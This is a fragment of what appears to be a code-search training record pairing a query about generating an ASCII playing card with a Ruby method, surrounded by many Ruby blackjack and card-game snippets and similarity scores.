hand.hand_value < 17 do\r\n\t\t\tdraw_card(deck.deal_card)\r\n\t\tend\r\n\tend", "def runner\n welcome\n cards = initial_round\n until cards > 21 do\n cards = hit?(cards)\n puts \"Your cards add up to #{cards}\"\n end\n end_game(cards)\nend", "def deal\n @deckOfCards.shift\n end", "def runner\nwelcome\ncurrent_sum=hit?(initial_round)\ndisplay_card_total(current_sum)\n until current_sum>=21 do\n current_sum=hit?(current_sum)\n end\n end_game(current_sum)\n \n\nend", "def dealers_move\n scores_update\n scores_table\n\n while @dealers_score < 21\n # Dealer Stands if his score is 17 or higher.\n if @dealers_score >= 17\n break\n end\n\n # Dealer Draws a Card from the Deck.\n @dealer.cards << @deckofcards.deal_card\n scores_update\n scores_table\n end\n end", "def count_down\n top_card = $deck.first\n top_card = 53 if ['A', 'B'].include? top_card\n chosen_number = $deck[top_card]\n return '' if ['A', 'B'].include? chosen_number\n\n (chosen_number + (chosen_number > 26 ? 38 : 64)).chr\nend", "def dealer_turns\n while (dealer.hand_total < 16)\n self.hit(dealer)\n hand_check(dealer)\n end\n winner\n end", "def spare?\n @roll + @next_roll == 10\n end", "def spare?\n @roll + @next_roll == 10\n end", "def spare?\n @roll + @next_roll == 10\n end", "def spare?\n @roll + @next_roll == 10\n end", "def deal\n\n @first_card = @cards.shift\n\n return @first_card\n\n end", "def deal\r\n @cards.shift\r\n end", "def runner\n players_hand = 0\n welcome \n players_hand = initial_round\n until players_hand > 21 do\n players_hand = hit?(players_hand)\n display_card_total(players_hand)\n end\n return end_game(players_hand)\nend", "def increment_or_decrement(incr_or_decr)\n if @owned.find_by(id: params[:card_id])\n incrementing?(incr_or_decr) ? increment : decrement_or_destroy\n else\n add_card_to_collection\n end\n end", "def runner\nwelcome\ncard_total = initial_round \n until card_total > 21\n card_total = hit?(card_total)\n display_card_total(card_total)\n end \n end_game(card_total)\nend", "def jumping_jacks(number, energy)\n count = 0\n while count < number\n if energy >= 15\n count += 1\n energy -= 15\n puts \"Did #{count} jumping jacks, you have #{energy} energy left.\"\n else\n puts \"Waiting, #{energy} energy left.\"\n energy += 5\n end\n end\nend", "def runner(current_card_total)\n welcome\n initial_round\n until current_card_total>21\n hit?(sum)\n display_card_total(card_total)\n end\n end_game\nend", "def runner\n welcome\n current_total = initial_round # rand1 + rand 2 p \"total = 14\" =>14\n # puts \"initializing until loop...\"\n until current_total > 21\n # puts \"INCREMENT\"\n current_total = hit?(current_total) # \"h or s?\" h--> 14 + 4 s--> \n display_card_total(current_total)\n end\n end_game(current_total)\nend", "def runner\n welcome\n card_sum = initial_round\nuntil card_sum > 21\n new_value = hit?(card_sum)\n card_sum = new_value\n display_card_total(card_sum)\nend\nend_game(card_sum)\nend", "def ace_check\n cards[index_of_11][:points] = 1 if index_of_11 && (total > 21)\n end", "def runner\n welcome\n card_total = initial_round\n while card_total < 21 do\n card_total = hit?(card_total)\n if card_total > 21\n display_card_total(card_total)\n end_game(card_total)\n end\n end\nend", "def runner\n welcome\n users_hand = initial_round\n card_total = users_hand\n \n until card_total >= 21\n card_total = hit?(card_total)\n display_card_total(card_total)\nend \nend_game(card_total)\nend", "def house_rules\n while get_hand_value(@dealer_hand) < 17\n puts \"HOUSE HITS\".colorize(:red)\n hit(@dealer_hand)\n puts \"HOUSE NOW SITS ON #{get_hand_value(@dealer_hand)}\".colorize(:blue)\n return\n end \nend", "def card_total(player_or_dealer_array)\n value_array = player_or_dealer_array.map { |v| v[1] }\n card_value_counter = 0\n \n value_array.each do |value|\n if value.is_a? Integer\n card_value_counter += value\n elsif value != 'Ace'\n card_value_counter += 10\n else\n card_value_counter += 11\n end\n end\n \n #decided total based on total number of aces. Will keep adjusting ace value to 1 until the toal is 21 or under\n value_array.select { |v| v == 'Ace'}.count.times do\n card_value_counter -= 10 if card_value_counter > 21\n end\n \n card_value_counter\nend", "def play\n self.check\n while(\"unfinished\" == @status)\n if(@value < 17)\n @hand << @dealingmachine.deal_one_card\n end\n self.check\n end\n \n # output the dealer's hand\n i = 0\n dealerhand = \"dealer's hand contains: \"\n while i < @hand.length\n dealerhand += num_to_rank(@hand[i]) + \" \"\n i += 1\n end\n puts \"*******************************************************\"\n puts dealerhand\n if 50 == @value\n puts \"value: BLACKJACK\"\n elsif @value <= 21\n puts \"value: #{@value}\"\n else\n puts \"value: #{@value} Busted!!\"\n end\n puts \"*******************************************************\"\n end", "def runner\n welcome #welcomes player \n cardtotal = initial_round #stores the two cards from the first dealing\n until cardtotal > 21 #until their card total is greater than 21\n cardtotal = hit?(cardtotal) #set the new card total equal to the player's decision\n display_card_total(cardtotal)\n if cardtotal == 21\n puts \"You cards add up to #{cardtotal}! Blackjack!\"\n return\n end\n end\n end_game(cardtotal) #ends the game and returns player's cardtotal\nend", "def runner\n welcome\n initial_total = initial_round # prints and returns sum of two cards\n curr_total = hit?(initial_total)\n display_card_total(curr_total)\n until curr_total > 21\n hit?(curr_total)\n curr_total = hit?(curr_total)\n display_card_total(curr_total)\n end\n end_game(curr_total)\nend", "def dealer_game(player)\n @is_first_cards = false\n puts \"Your score is #{player.score}!\"\n puts \"Dealer's turn:\"\n @dealer.update_score\n self.print_scores(player)\n while @dealer.score. < 17\n sleep(1)\n @dealer.open_new_card\n puts \"Your score: #{player.score}; Dealer score: #{@dealer.score}\"\n end\n get_winner(player)\n end", "def calculatetotal(cards) # calculating the total of the two cards dealt, first to player then to dealer\n array = cards.map {|card| card[0]} # using the map method to lay out all the cards which are like so [[\"A\", \"S\"], [\"5\", \"C\"]]\n # We then only take the first element of the array and initialize that to the total\n total = 0 # total at the outset is zero\n array.each do |value|\n if value == \"A\" # in the event you get an ace card. \"A\" is as is unlike the bottom ones below\n total += 11 # total should now increase to 11\n elsif value.to_i == 0 # this is to cover for getting J, K, Q cards which defaults value to integer is zero\n total += 10\n else\n total += value.to_i\n end\nend # finished the array\n\n# Correcting Aces in case there are more than one. It should convert aces to 1 instead of 11 if total is more than 21\narray.select {|card| card.include?(\"A\")}.count.times do\n total -= 10 if total > 21\nend\ntotal # don't forget to include total here before exiting. IMPORTANT!!\nend", "def defend(attacking_card)\n min = 15\n min_c = nil\n if attacking_card.suit == @trump_suit\n self.trump_cards.each do |c|\n if c.int_val > attacking_card.int_val &&\n c.int_val < min\n min_c = c\n min = c.int_val\n end\n end\n else\n self.non_trump_cards.each do |c|\n if c.int_val > attacking_card.int_val &&\n c.int_val < min && attacking_card.suit == c.suit\n min_c = c\n min = c.int_val\n end\n end\n end\n @cards.delete(min_c)\n min_c\n end", "def hand_value(cards)\n value = 0\n val_arr = []\n cards.each do |sub_array|\n val_arr << sub_array.last\n val_arr.sort!\n end\n val_arr.each do |val|\n if val == 11 && value > 10\n value = value + 1 \n else\n value = value + val\n end\n end\n return value\nend", "def runner\n welcome\n # initial_round\n cardTotal = initial_round\n until cardTotal > 21\n cardTotal = hit? cardTotal\n display_card_total cardTotal\n end\n end_game cardTotal\nend", "def runner\n welcome\n card_sum = 0\n card_sum += initial_round\n\n until card_sum > 21\n card_sum = hit?(card_sum)\n display_card_total(card_sum)\n end\n\n end_game(card_sum)\nend", "def runner\n welcome\n card_sum = initial_round\n \n while card_sum <= 21\n card_sum = hit?(card_sum)\n display_card_total(card_sum)\n end\n \nend_game(card_sum)\n \nend", "def runner\n welcome\n card = hit?(initial_round)# code runner here\n until card > 21\n display_card_total(card)\n card += hit?(deal_card)\n end\n display_card_total(card)\n end_game(card)\nend", "def runner\nwelcome\ncardtotal = initial_round\n until cardtotal > 21\n cardtotal = hit? (cardtotal)\n display_card_total(cardtotal)\n end\n end_game(cardtotal)\nend", "def runner\n welcome\n card_sum = initial_round\n \n until card_sum > 21 do\n card_sum = hit?(card_sum)\n display_card_total(card_sum)\n end\n \n end_game(card_sum)\n \nend", "def runner\n welcome\n card_total = initial_round\n until card_total > 21\n card_total =+ hit?(card_total)\n display_card_total(card_total)\n end\n end_game(card_total)\nend", "def increase_rider\n @Num_rider.increase! :value\n end", "def play_dealer(hand, shoe, odds, upcard_result)\n case decide(hand)\n when :stand\n upcard_result[result(hand)] += odds\n when :hit\n CARDS.each do |card|\n next unless shoe.any?(card)\n card_odds = shoe.odds_of(card)\n\n hand.push(card)\n shoe.consume(card)\n\n play_dealer(hand, shoe, odds * card_odds , upcard_result)\n\n shoe.replace(card)\n hand.pop\n end\n else\n raise \"error, illegal hand action\"\n end\nend", "def runner\n num = 0\n welcome\n first = initial_round\n until num >= 21\n num += hit?(first)\n display_card_total(num)\n\n end\n end_game(num)\nend", "def runner\n welcome\n card_total = initial_round # first round delt cards\n\n until card_total > 21\n card_total = hit?(card_total)\n display_card_total(card_total)\n end\n\n end_game(card_total)\nend", "def runner\n welcome\n card_total = initial_round\n until card_total >= 21\n card_total = hit?(card_total)\n display_card_total(card_total)\n end\n end_game(card_total)\nend", "def build_player_hand_with_no_ace(current_player)\r\n\tif current_player.total_value >= 17 ||\tcurrent_player.total_value >= 13 && @dealer.total_value <= 6 || current_player.total_value == 12 && @dealer.total_value <= 6 && @dealer.total_value >= 4 # The \"Standard Strategy\" for blackjack\r\n\t\treturn\r\n\telse\r\n\t\[email protected]_off_top_to(current_player, 1)\r\n\t\tbuild_player_hand_with_ace(current_player) and return if current_player.ace_present?\r\n\t\tbuild_player_hand_with_no_ace(current_player)\r\n\t\treturn\r\n\tend\r\nend", "def value\n return @value if @value\n\n return @value = 900 if royal_flush?\n return @value = 800 + high_card_bonus if straight_flush?\n return @value = 700 + high_card_bonus if four_of_a_kind?\n return @value = 600 + high_card_bonus if full_house?\n return @value = 500 + high_card_bonus if flush?\n return @value = 400 + high_card_bonus if straight?\n return @value = 300 + high_card_bonus if three_of_a_kind?\n return @value = 200 + high_card_bonus if two_pairs?\n return @value = 100 + high_card_bonus if pair?\n @value = self.cards.map {|card| card.value}.inject(:+)\n end", "def blackjack?; value == 21 && @cards.length == 2; end", "def runner\n welcome\n card_sum = initial_round\n until card_sum > 21\n card_sum = hit?(card_sum)\n display_card_total(card_sum)\n card_sum\n end\nend_game(card_sum)\nend", "def runner\nwelcome\ncard_total = initial_round\nuntil card_total > 21 \n card_total = hit?(card_total)\n display_card_total(card_total)\nend\nend_game(card_total)\nend", "def isOver?\n @deck.cardsRemaining < MIN_CARDS\n end", "def runner\n welcome\n hand = hit?(initial_round)\n until hand > 21\n display_card_total(hand)\n hand += hit?(deal_card)\n end\n display_card_total(hand)\n end_game(hand)\nend", "def buy_choc money, price, num_wr\n\n total = 0\n\n total += money /price\n\n total_wr = total\n\n while total_wr >= num_wr\n bonus = total_wr / num_wr\n remainder = total_wr % num_wr\n\n total += bonus\n\n total_wr = bonus + remainder\n end", "def check_dealer_hand(dealer_hand)\n case count_hand(dealer_hand)\n when 2..16\n return 0\n when 22..100\n return -1\n else\n return 1\n end\nend", "def hungry_andrew\n food = 5\n \n until food == 21\n puts \"PLEASE OH PLEASE COME BACK MARIE!\"\n puts food \n food += 1 \n end\nend", "def runner\n welcome\n card_sum = initial_round\n until card_sum > 21\n card_sum = hit?(card_sum)\n display_card_total(card_sum)\n end\nend_game(card_sum)\n\nend", "def get_card_value(card)\n card_number = get_card_number(card)\n if card_number == 'K' || card_number == 'J' || card_number == 'Q'\n card_number = 10\n elsif card_number == 1\n card_number = 11\n end\n return card_number\nend", "def attack\n min = 14\n min_c = nil\n self.non_trump_cards.each do |c|\n if c.int_val < min\n min_c = c\n min = c.int_val\n end\n end\n if min_c.nil?\n self.trump_cards.each do |c|\n if c.int_val < min\n min_c = c\n min = c.int_val\n end\n end\n end\n @cards.delete(min_c)\n min_c\n end", "def runner\n welcome\ncard_total =0\nuntil card_total >= 21\ninitial_round\nhit?(card_total)\nend\nend_game\n\nend", "def runner\n welcome\n card_sum = initial_round\n card_sum\n card_sum = hit?(card_sum)\n display_card_total(card_sum)\n until card_sum > 21\n hit?(card_sum)\n display_card_total(card_sum)\n end\n end_game(card_sum)\nend", "def runner\nwelcome\ncard_total = initial_round\nuntil card_total >21\n card_total = hit?(card_total)\n display_card_total(card_total)\nend\n end_game(card_total)\nend", "def handle_ace(hand,sum)\n\t\tputs \"inside handleace #{sum} and #{hand}\"\n\t\tif sum > 21 && hand.include?(21)\n\t\t\thand.each { |x| \n\t\t\t\tif x==\"A21\" \n\t\t\t\tx=\"A1\" \n\t\t\t\tend}\n\t\t\treturn hand\n\t\tend\n\tend" ]
[ "0.70306516", "0.69132245", "0.6642561", "0.6584686", "0.6581807", "0.65543157", "0.64530617", "0.6376934", "0.6368452", "0.63640773", "0.62796205", "0.62616646", "0.62452143", "0.6220503", "0.6219451", "0.6202824", "0.6173652", "0.61607015", "0.6152943", "0.612068", "0.60320497", "0.59684503", "0.5955581", "0.5955091", "0.59542143", "0.595085", "0.59222996", "0.587685", "0.5868324", "0.5833851", "0.5781028", "0.57764685", "0.57698244", "0.5762635", "0.57578605", "0.5757431", "0.57443345", "0.57403713", "0.57372195", "0.5722081", "0.56940544", "0.5693465", "0.5684615", "0.5682266", "0.5674079", "0.566461", "0.5655497", "0.5655497", "0.5655497", "0.5655497", "0.5655453", "0.56529224", "0.56440425", "0.5642448", "0.56405485", "0.5632442", "0.56258124", "0.56258047", "0.5614904", "0.56119895", "0.5610751", "0.56088567", "0.5608442", "0.5605643", "0.5603384", "0.559571", "0.55934733", "0.55859727", "0.5582317", "0.55774534", "0.55767894", "0.5574853", "0.5572391", "0.55718374", "0.5558134", "0.5551133", "0.55487174", "0.55448794", "0.55437267", "0.55339664", "0.5533763", "0.5528945", "0.55207", "0.55203694", "0.5518498", "0.55170786", "0.5515562", "0.55071306", "0.550455", "0.5498885", "0.54943556", "0.54813206", "0.54794985", "0.54725605", "0.5472465", "0.54686546", "0.5466378", "0.54641324", "0.5463511", "0.54602885" ]
0.5959363
22
Generate one ASCII card, returns an array representing the seven +++ strings needed to build the cards. Accepts one argument: card: a hash representing a single card
def generate_ASCII_card(card) if card[:rank] === "10" rank = card[:rank] else rank = " " + card[:rank] end suit = card[:suit] array_card = [] array_card.push(".-------.") array_card.push("| #{rank} #{suit} |") array_card.push("| |") array_card.push("| |") array_card.push("| |") array_card.push("| #{rank} #{suit} |") array_card.push("'-------'") return array_card end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def gen_cards\n # done in a verbose manner so that code is easy to understand\n %w[H D S C].each do |suit|\n @cards.push(Card.new('Ace', suit, 1))\n @cards.push(Card.new('Two', suit, 2))\n @cards.push(Card.new('Three', suit, 3))\n @cards.push(Card.new('Four', suit, 4))\n @cards.push(Card.new('Five', suit, 5))\n @cards.push(Card.new('Six', suit, 6))\n @cards.push(Card.new('Seven', suit, 7))\n @cards.push(Card.new('Eight', suit, 8))\n @cards.push(Card.new('Nine', suit, 9))\n @cards.push(Card.new('Ten', suit, 10))\n @cards.push(Card.new('Jack', suit, 10))\n @cards.push(Card.new('Queen', suit, 10))\n @cards.push(Card.new('King', suit, 10))\n end\n end", "def generate_card\n\t suit = %w[s d h c]\n\t rank = %w[1 2 3 4 5 6 7 8 9 10 j q k]\n\t #(0...size).map{ charset.to_a[rand(charset.size)] }.join\n\t suit[rand(suit.size)] + rank[rand(rank.size)] + \".gif\"\n\tend", "def create_hand string\n string.split(/\\s+/).inject([]) do |memo, card_str|\n memo.push Card.new(card_str)\n end\n end", "def cards_in_hand_to_string(cards)\n suits = [\"club\", \"diamond\", \"heart\", \"spade\"]\n numbers = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"]\n\n card_strings = []\n cards.each do |card|\n card_strings.push(suits[card / 13] + numbers[card % 13])\n end\n return card_strings.join(\", \")\nend", "def show(card)\n # H ==1, D==2, C==3, S==4\n card[0] = 'H' if card[0] == 1\n card[0] = 'D'if card[0] == 2\n card[0] = 'C' if card[0] == 3\n card[0] = 'S' if card[0] == 4\n card[1] = 'J' if card[1] == 11\n card[1] = 'Q' if card[1] == 12\n card[1] = 'K' if card[1] == 13\n card[1] = 'A' if card[1] == 14\n card\n end", "def cards()\n deck_array = []\n suits = ['C', 'D', 'H', 'S']\n for num in 1..13\n suits.each do |suit|\n case \"#{num}\".to_i\n when 1\n deck_array << \"A#{suit}\"\n @redis.set(\"A#{suit}\", 1)\n when 11\n deck_array << \"J#{suit}\"\n @redis.set(\"J#{suit}\", 10)\n when 12\n deck_array << \"Q#{suit}\"\n @redis.set(\"Q#{suit}\", 10)\n when 13\n deck_array << \"K#{suit}\"\n @redis.set(\"K#{suit}\", 10)\n else\n deck_array << \"#{num}#{suit}\"\n @redis.set(\"#{num}#{suit}\", \"#{num}\")\n end\n end\n end\n deck_array\nend", "def card_in_game\n (2..14).each {|r| (1..4).each { |i| @pack_of_card << [i, r] }}\n @cards = @pack_of_card.shuffle.take(7)\n # @hash_7_card is hash prepared for analyze combinations and the highest combination to win\n $hash_7_card = array_suit_rank\n end", "def display_hand(hand)\n card_names = {\n \"c2\" => \"the 2 of clubs\", \"c3\" => \"the 3 of clubs\", \"c4\" => \"the 4 of clubs\", \"c5\" => \"the 5 of clubs\", \"c6\" => \"the 6 of clubs\", \"c7\" => \"the 7 of clubs\", \"c8\" => \"the 8 of clubs\", \"c9\" => \"the 9 of clubs\", \"c10\" => \"the 10 of clubs\", \"cj\" => \"the jack of clubs\", \"cq\" => \"the queen of clubs\", \"ck\" => \"the king of clubs\", \"ca\" => \"the ace of clubs\",\n \"d2\" => \"the 2 of diamonds\", \"d3\" => \"the 3 of diamonds\", \"d4\" => \"the 4 of diamonds\", \"d5\" => \"the 5 of diamonds\", \"d6\" => \"the 6 of diamonds\", \"d7\" => \"the 7 of diamonds\", \"d8\" => \"the 8 of diamonds\", \"d9\" => \"the 9 of diamonds\", \"d10\" => \"the 10 of diamonds\", \"dj\" => \"the jack of diamonds\", \"dq\" => \"the queen of diamonds\", \"dk\" => \"the king of diamonds\", \"da\" => \"the ace of diamonds\",\n \"h2\" => \"the 2 of hearts\", \"h3\" => \"the 3 of hearts\", \"h4\" => \"the 4 of hearts\", \"h5\" => \"the 5 of hearts\", \"h6\" => \"the 6 of hearts\", \"h7\" => \"the 7 of hearts\", \"h8\" => \"the 8 of hearts\", \"h9\" => \"the 9 of hearts\", \"h10\" => \"the 10 of hearts\", \"hj\" => \"the jack of hearts\", \"hq\" => \"the queen of hearts\", \"hk\" => \"the king of hearts\", \"ha\" => \"the ace of hearts\",\n \"s2\" => \"the 2 of spades\", \"s3\" => \"the 3 of spades\", \"s4\" => \"the 4 of spades\", \"s5\" => \"the 5 of spades\", \"s6\" => \"the 6 of spades\", \"s7\" => \"the 7 of spades\", \"s8\" => \"the 8 of spades\", \"s9\" => \"the 9 of spades\", \"s10\" => \"the 10 of spades\", \"sj\" => \"the jack of spades\", \"sq\" => \"the queen of spades\", \"sk\" => \"the king of spades\", \"sa\" => \"the ace of spades, aww yeah!\"\n}\n puts \"Your hand contains the following cards:\"\n hand.each do |key, _|\n puts card_names[key]\n end\nend", "def card_image(card_hash)\n \"cards/#{card_hash[0][:name]}_of_#{card_hash[0][:suit]}\"\n end", "def build_suite (letter)\n suite = []\n\n 2.upto(10) do |value|\n suite << \"#{value.to_s+letter}\"\n end\n\n suite << \"#{'J'+letter}\"\n suite << \"#{'Q'+letter}\"\n suite << \"#{'K'+letter}\"\n suite << \"#{'A'+letter}\"\n\n suite.each {|card| @full_deck_array << card}\n end", "def create_deck\n\n\tdeck = Array.new\n\tcard_val = Array.new\n\tcard_type = [\"h\",\"d\",\"c\",\"s\"] # Hearts, Diamonds, Clubs, Spades\n\n (2..10).each do |i|\n \tcard_val << i.to_s\n end\n card_val << \"J\" << \"Q\" << \"K\" << \"A\"\n\n for type in card_type\n \tfor val in card_val\n \t\tdeck << val+type\n \tend\n end\n\n return deck\n\nend", "def to_s\n result = \"\"\n count = 0\n for card in @cards\n result << \"#{card} \"\n count += 1\n if count > 12 \n count = 0\n result << \"\\n\"\n end\n end \n return result\n end", "def concatenate_cards(cards)\n array_hand = [\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n cards.each do |value|\n value.each_with_index do |string, index|\n array_hand[index] = array_hand[index] + \" \" + string\n end\n end\n\n return array_hand\nend", "def build_down_card\n line = []\n line[0] = \"\"\n line[1] = \" o-------o\"\n line[2] = \" |~~~~~~~|\"\n line[3] = \" |~~~~~~~|\"\n line[4] = \" |~~~~~~~|\"\n line[5] = \" |~~~~~~~|\"\n line[6] = \" |~~~~~~~|\"\n line[7] = \" o-------o\"\n line[8] = \"\"\n line\nend", "def build_down_card\n line = []\n line[0] = \"\"\n line[1] = \" o-------o\"\n line[2] = \" |~~~~~~~|\"\n line[3] = \" |~~~~~~~|\"\n line[4] = \" |~~~~~~~|\"\n line[5] = \" |~~~~~~~|\"\n line[6] = \" |~~~~~~~|\"\n line[7] = \" o-------o\"\n line[8] = \"\"\n line\nend", "def pretty_hands (card_one, card_two)\n format_cards = [card_one, card_two]\n i = 0\n while i < format_cards.length\n format_cards[i][0] = \"Ace\" if format_cards[i][0] == 1\n format_cards[i][0] = \"Jack\" if format_cards[i][0] == 11\n format_cards[i][0] = \"Queen\" if format_cards[i][0] == 12\n format_cards[i][0] = \"King\" if format_cards[i][0] == 13\n\n format_cards[i][1] = \"♦︎\" if format_cards[i][1] == 1\n format_cards[i][1] = \"♣︎\" if format_cards[i][1] == 2\n format_cards[i][1] = \"♥︎\" if format_cards[i][1] == 3\n format_cards[i][1] = \"♠︎\" if format_cards[i][1] == 4\n i += 1\n end\n return format_cards\nend", "def display_hand(hand)\n hand.each do | card |\n puts \"\\t#{CARD_NAMES[card[0]]} of #{SUITE_NAMES[card[1]].encode('utf-8')}\" \n end\nend", "def getScoreCard()\n\t#create array A to Z\n\tcard = [*('A'..'Z')]\n\t#convert array to Hash\n\tcard = Hash[card.map.with_index.to_a]\n\t#return hash\n\treturn card\nend", "def deck_of_cards\n deck_hash = {h2: 2, h3: 3, h4: 4, h5: 5, h6: 6, h7: 7, h8: 8, h9: 9, h10: 10, hj: 10, hq: 10, hk: 10, ha: 11,\n d2: 2, d3: 3, d4: 4, d5: 5, d6: 6, d7: 7, d8: 8, d9: 9, d10: 10, dj: 10, dq: 10, dk: 10, da: 11,\n s2: 2, s3: 3, s4: 4, s5: 5, s6: 6, s7: 7, s8: 8, s9: 9, s10: 10, sj: 10, sq: 10, sk: 10, sa: 11,\n c2: 2, c3: 3, c4: 4, c5: 5, c6: 6, c7: 7, c8: 8, c9: 9, c10: 10, cj: 10, cq: 10, ck: 10, ca: 11}\nend", "def build_deck\n# This function builds an array of 52 cards made up of 4 copies of fixed nums with values from 1 to 13\n\t@deck = []\n\tfor num in 1..4\n\t\tfor num in 1..13\n\t\t\[email protected](num)\n\t\tend\n\tend\nend", "def to_s\n # A simple template with X's as placeholders\n # YY represents the placement of the card's rank\n template = <<-TPL.gsub(/^\\s+/,'')\n ╭───────╮\n | X X X |\n | X X X |\n | X YYX |\n | X X X |\n ╰───────╯\n TPL\n\n # the patterns represent the configuration of glyphys\n # read from left to right, top to bottom\n # X means place a glyph, _ means clear the space\n case @rank\n when 2; pattern = '_X_______X_'\n when 3; pattern = '_X__X____X_'\n when 4; pattern = 'X_X_____X_X'\n when 5; pattern = 'X_X_X___X_X'\n when 6; pattern = 'X_XX_X__X_X'\n when 7; pattern = 'X_X_X_XXX_X'\n when 8; pattern = 'X_XX_XXXX_X'\n when 9; pattern = 'X_XXXXXXX_X'\n when 10; pattern = 'XXXX_XXXXXX'\n when 11..14;\n pattern = 'X_________X'\n end\n\n pattern.each_char do |c|\n # replace X's with glyphs\n if c == 'X'\n template.sub!(/X/, \"#{suit(true)}\")\n # replace _'s with whitespace\n else\n template.sub!(/X/, \" \")\n end\n end\n\n # place the card rank (left-padded)\n template.sub(/YY/, rank(true).ljust(2))\n end", "def initialize_cards\n cards = []\n 4.times { cards += (2..14).to_a }\n cards.sample(52)\n end", "def random_card\r\nsuit = [' of hearts', ' of spades', ' of diamonds', ' of clubs']\r\nrank = [2, 3, 4, 5, 6, 7, 8, 9, 10, 'Jack', 'Queen', 'King', 'Ace']\r\n\tcard_rank = rank[rand(13)]\r\n\tcard_suit = suit[rand(4)]\r\n\tcard = card_rank.to_s + card_suit\r\n card\r\nend", "def get_cards()\n\t\tresult = ''\n\t @board.each do |card|\n\t result = result + card.to_s\n\t end\n\t return result\n\tend", "def generate_a_deck\n Card::SUITS.map do |suit|\n Card::RANKS.map do |rank|\n Card.new(suit: suit, rank: rank)\n end\n end.flatten\n end", "def draw_cards(hand)\n card_count = hand.count\n card_count.times do\n print \" ----- \"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \"| |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do |i|\n if hand[i][1] == '10'\n print \"| #{hand[i][1]} |\"\n else\n print \"| #{hand[i][1]} |\"\n end\n print ' '\n end\n print \"\\n\"\n card_count.times do |i|\n print \"| #{hand[i][0]} |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \"| |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \" ----- \"\n print ' '\n end\n print \"\\n\"\nend", "def deal_card\n return rand(1..11)\nend", "def populate\n letters = (\"a\"..\"h\").to_a\n dup_letters = (\"a\"..\"h\").to_a\n\n letters += dup_letters\n letters = letters.shuffle\n\n (0...4).each do |i|\n (0...4).each do |j|\n pos = [i, j]\n new_card = Card.new(letters[-1])\n self[pos] = new_card\n letters.pop\n\n end\n\n end\n \n\n end", "def get_cards\n cards = []\n index = 0\n [2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11].each do |num|\n 24.times do\n cards[index] = num\n index += 1\n end\n end\n shuffle(cards)\n end", "def print_game\n print \" Cards in game: \"\n (0..6).each { |c| print show @cards[c] }\n print \"\\n Cards on the table: \"\n (2..6).each { |n| print show @cards[n] }\n print \"\\n Cards in hand of your player: \"\n (0..1).each { |index| print show @cards[index] }\n print \"\\n Hash to analize combinations in game: \",$hash_7_card\n end", "def keystream_maker( length )\n cipher_deck = Deck.new\n numbered_keystream = []\n char = 1\n while char <= length do\n \n cipher_deck.move_card(Card.new(:a_joker, :spades, 53), 1)\n cipher_deck.move_card(Card.new(:b_joker, :spades, 53), 2)\n cipher_deck.joker_split\n cipher_deck.pull_push( cipher_deck.value_of(53) )\n \n # non-destructive:\n value = cipher_deck.value_of( cipher_deck.value_of(0) )\n \n if value <= 52\n numbered_keystream << value.to_s + ' '\n numbered_keystream << ' ' if (char % 5 == 0) and (char != length)\n char += 1\n end\n \n end # char while loop\n # for each char do:\n \n \n \n # \n # 5. convert top card to value, count down that many cards from top, with top card being #1, use card directly after count - so if top of deck looks like 2 3 4, we look at the 4 => returning \"D\", step does not alter deck, if joker - returns nothing, have to repeat 1..5 to get letter\n \n #\"DWJXH YRFDG TMSHP UURXJ\"\n \n #if char multiple of 5, and not the last char, append a \" \", to make words\n number_decoder(numbered_keystream.to_s.strip)\n \nend", "def string_to_array_method\n @card_array = @card_number_string.chars\n end", "def printCard\n \"#{@color[0]}#{@fillType[0]}#{@shapeType[0]}#{@numberOfSymbols[0]}\"\n end", "def random_card\n # @deck[1].rank\n size = @deck.size\n \"#{@deck[rand(size)].rank} #{@deck[rand(size)].suit}\"\n end", "def card_number\n card = full_card_number.scan(/(\\d{4})/)\n card[2] = card[1] = 'X' * 4\n card.join\n end", "def render_hand\n p hand.map {|card| [card.value, card.suit]}\n end", "def create_deck\r\n all_cards = []\r\n # Hearts ♥\r\n all_cards << ace_of_hearts = Ace.new('A', 'hearts', \"♥\")\r\n all_cards << king_of_hearts = Card.new('K', 'hearts', 10, \"♥\")\r\n all_cards << queen_of_hearts = Card.new('Q', 'hearts', 10, \"♥\")\r\n all_cards << jack_of_hearts = Card.new('J', 'hearts', 10, \"♥\")\r\n all_cards << ten_of_hearts = Card.new('10', 'hearts', 10, \"♥\")\r\n all_cards << nine_of_hearts = Card.new('9', 'hearts', 9, \"♥\")\r\n all_cards << eight_of_hearts = Card.new('8', 'hearts', 8, \"♥\")\r\n all_cards << seven_of_hearts = Card.new('7', 'hearts', 7, \"♥\")\r\n all_cards << six_of_hearts = Card.new('6', 'hearts', 6, \"♥\")\r\n all_cards << five_of_hearts = Card.new('5', 'hearts', 5, \"♥\")\r\n all_cards << four_of_hearts = Card.new('4', 'hearts', 4, \"♥\")\r\n all_cards << three_of_hearts = Card.new('3', 'hearts', 3, \"♥\")\r\n all_cards << two_of_hearts = Card.new('2', 'hearts', 2, \"♥\")\r\n # Spades ♠\r\n all_cards << ace_of_spades = Ace.new('A', 'spades', \"♠\")\r\n all_cards << king_of_spades = Card.new('K', 'spades', 10, \"♠\")\r\n all_cards << queen_of_spades = Card.new('Q', 'spades', 10, \"♠\")\r\n all_cards << jack_of_spades = Card.new('J', 'spades', 10, \"♠\")\r\n all_cards << ten_of_spades = Card.new('10', 'spades', 10, \"♠\")\r\n all_cards << nine_of_spades = Card.new('9', 'spades', 9, \"♠\")\r\n all_cards << eight_of_spades = Card.new('8', 'spades', 8, \"♠\")\r\n all_cards << seven_of_spades = Card.new('7', 'spades', 7, \"♠\")\r\n all_cards << six_of_spades = Card.new('6', 'spades', 6, \"♠\")\r\n all_cards << five_of_spades = Card.new('5', 'spades', 5, \"♠\")\r\n all_cards << four_of_spades = Card.new('4', 'spades', 4, \"♠\")\r\n all_cards << three_of_spades = Card.new('3', 'spades', 3, \"♠\")\r\n all_cards << two_of_spades = Card.new('2', 'spades', 2, \"♠\")\r\n # Diamonds ♦\r\n all_cards << ace_of_diamonds = Ace.new('A', 'diamonds', \"♦\")\r\n all_cards << king_of_diamonds = Card.new('K', 'diamonds', 10, \"♦\")\r\n all_cards << queen_of_diamonds = 